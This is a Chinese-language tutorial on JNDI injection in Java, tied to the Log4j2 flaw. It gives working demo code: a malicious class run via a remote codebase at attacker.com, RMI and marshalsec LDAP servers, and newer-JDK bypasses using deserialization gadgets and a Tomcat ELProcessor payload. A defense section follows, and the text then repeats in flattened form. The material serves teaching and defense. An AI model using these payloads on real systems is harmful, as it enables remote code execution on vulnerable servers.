JNDI入门
字数 1692 2025-08-07 08:22:15

JNDI注入攻击全面解析与防御指南

0x00 前言

JNDI(Java Naming and Directory Interface)是Java提供的命名和目录接口,允许应用程序通过统一API访问各种命名和目录服务。2021年底爆发的Log4j2漏洞(CVE-2021-44228)使JNDI注入攻击广为人知,其payload形式为${jndi:ldap/rmi://xxxxxx/exp}

0x01 RPC基础概念

RPC(Remote Procedure Call)是一种通过网络从远程计算机请求服务的技术思想,常见实现包括:

  • 应用级框架:Dubbo、gRPC、Spring Cloud
  • 通信协议:RMI、Socket、SOAP、REST
  • 通信框架:MINA、Netty

主要RPC框架:

  • Dubbo:阿里开源,仅Java
  • Motan:微博开源,仅Java
  • Tars:腾讯开源,仅C++
  • gRPC:Google开源,跨语言
  • Thrift:Facebook开发,跨语言

0x02 微服务架构

微服务将单体应用拆分为多个小型服务,特点包括:

  • 独立进程运行
  • 通过HTTP RESTful API通信
  • 每个服务维护自身数据存储和业务逻辑
  • 支持持续集成/持续交付(CI/CD)

攻击面常出现在轻量化的通信机制中,攻击者可伪造中间服务器诱导客户端加载恶意数据。

0x03 JNDI核心概念

JNDI支持访问的服务类型:

  • JDBC
  • LDAP
  • RMI
  • DNS
  • NIS
  • CORBA

重点关注LDAPRMI两种协议。

LDAP服务

轻量级目录访问协议,工厂类为com.sun.jndi.ldap.LdapCtxFactory

RMI服务

远程方法调用,流程中客户端和服务端传递序列化对象,反序列化时会自动加载类:

  1. 检查本地CLASSPATH
  2. 未找到则从codebase(远程URL)加载

0x04 JNDI注入原理

攻击条件

  • RMI:6u132/7u122/8u113前com.sun.jndi.rmi.object.trustURLCodebase默认为true
  • LDAP:6u211/7u201/8u191/11.0.1前com.sun.jndi.ldap.object.trustURLCodebase默认为true

攻击流程

  1. 攻击者控制JNDI lookup参数(如rmi://attacker.com/exp)
  2. 恶意RMI/LDAP服务返回包含恶意factory的Reference对象
  3. 目标动态加载factory类
  4. factory类静态代码块/构造方法中的恶意代码执行

关键类 - Reference

Reference(String className, String factory, String factoryLocation)
  • className:要加载的类名
  • factory:工厂类名
  • factoryLocation:工厂类所在codebase URL

0x05 低版本攻击演示(8u191以下)

RMI攻击示例

  1. 恶意类
public class Exp {
    static {
        try { Runtime.getRuntime().exec("calc.exe"); } 
        catch (IOException e) { e.printStackTrace(); }
    }
}
  1. RMI服务端
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exp", "Exp", "http://attacker.com/");
ReferenceWrapper refWrapper = new ReferenceWrapper(reference);
registry.bind("exp", refWrapper);
  1. 触发
new InitialContext().lookup("rmi://attacker.com:1099/exp");

LDAP攻击示例

使用marshalsec启动LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com/#Exp

0x06 高版本绕过技术(8u191+)

方法1:LDAP返回序列化数据

直接返回恶意序列化对象,依赖目标环境存在Gadget:

e.addAttribute("javaSerializedData", getCommonsCollections6());

利用链:

ObjectInputStream.readObject() → Runtime.getRuntime.exec('calc')

方法2:本地Factory绕过

利用Tomcat中的org.apache.naming.factory.BeanFactory

  1. 依赖
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.0</version>
</dependency>
  1. 服务端
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "''.getClass().forName('javax.script.ScriptEngineManager')" +
             ".newInstance().getEngineByName('JavaScript')" +
             ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
             "(['cmd','/c','calc']).start()\")";
ref.add(new StringRefAddr("x", cmd));

0x07 防御措施

  1. 升级JDK

    • RMI:≥8u121/7u131/6u141
    • LDAP:≥8u191/7u201/6u211
  2. 系统属性

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
  1. 代码层面
  • 避免不可信的JNDI lookup参数
  • 使用白名单校验外部输入
  1. Log4j2防护
  • 升级至2.15.0+版本
  • 设置log4j2.formatMsgNoLookups=true

0x08 总结

JNDI注入攻击本质是利用Java动态加载远程代码的特性。随着JDK版本更新,防御措施不断加强,但通过组合利用其他漏洞(如反序列化)仍可能实现攻击。开发者应始终保持组件更新,并遵循最小权限原则。

JNDI注入攻击全面解析与防御指南 0x00 前言 JNDI(Java Naming and Directory Interface)是Java提供的命名和目录接口,允许应用程序通过统一API访问各种命名和目录服务。2021年底爆发的Log4j2漏洞(CVE-2021-44228)使JNDI注入攻击广为人知,其payload形式为 ${jndi:ldap/rmi://xxxxxx/exp} 。 0x01 RPC基础概念 RPC(Remote Procedure Call)是一种通过网络从远程计算机请求服务的技术思想,常见实现包括: 应用级框架 :Dubbo、gRPC、Spring Cloud 通信协议 :RMI、Socket、SOAP、REST 通信框架 :MINA、Netty 主要RPC框架: Dubbo:阿里开源,仅Java Motan:微博开源,仅Java Tars:腾讯开源,仅C++ gRPC:Google开源,跨语言 Thrift:Facebook开发,跨语言 0x02 微服务架构 微服务将单体应用拆分为多个小型服务,特点包括: 独立进程运行 通过HTTP RESTful API通信 每个服务维护自身数据存储和业务逻辑 支持持续集成/持续交付(CI/CD) 攻击面常出现在 轻量化的通信机制 中,攻击者可伪造中间服务器诱导客户端加载恶意数据。 0x03 JNDI核心概念 JNDI支持访问的服务类型: JDBC LDAP RMI DNS NIS CORBA 重点关注 LDAP 和 RMI 两种协议。 LDAP服务 轻量级目录访问协议,工厂类为 com.sun.jndi.ldap.LdapCtxFactory RMI服务 远程方法调用,流程中客户端和服务端传递序列化对象,反序列化时会自动加载类: 检查本地CLASSPATH 未找到则从codebase(远程URL)加载 0x04 JNDI注入原理 攻击条件 RMI :6u132/7u122/8u113前 com.sun.jndi.rmi.object.trustURLCodebase 默认为true LDAP :6u211/7u201/8u191/11.0.1前 com.sun.jndi.ldap.object.trustURLCodebase 默认为true 攻击流程 攻击者控制JNDI lookup参数(如 rmi://attacker.com/exp ) 恶意RMI/LDAP服务返回包含恶意factory的Reference对象 目标动态加载factory类 factory类静态代码块/构造方法中的恶意代码执行 关键类 - Reference className :要加载的类名 factory :工厂类名 factoryLocation :工厂类所在codebase URL 0x05 低版本攻击演示(8u191以下) RMI攻击示例 恶意类 : RMI服务端 : 触发 : LDAP攻击示例 使用marshalsec启动LDAP服务: 0x06 高版本绕过技术(8u191+) 方法1:LDAP返回序列化数据 直接返回恶意序列化对象,依赖目标环境存在Gadget: 利用链: 方法2:本地Factory绕过 利用Tomcat中的 org.apache.naming.factory.BeanFactory : 依赖 : 服务端 : 0x07 防御措施 升级JDK : RMI:≥8u121/7u131/6u141 LDAP:≥8u191/7u201/6u211 系统属性 : 代码层面 : 避免不可信的JNDI lookup参数 使用白名单校验外部输入 Log4j2防护 : 升级至2.15.0+版本 设置 log4j2.formatMsgNoLookups=true 0x08 总结 JNDI注入攻击本质是利用Java动态加载远程代码的特性。随着JDK版本更新,防御措施不断加强,但通过组合利用其他漏洞(如反序列化)仍可能实现攻击。开发者应始终保持组件更新,并遵循最小权限原则。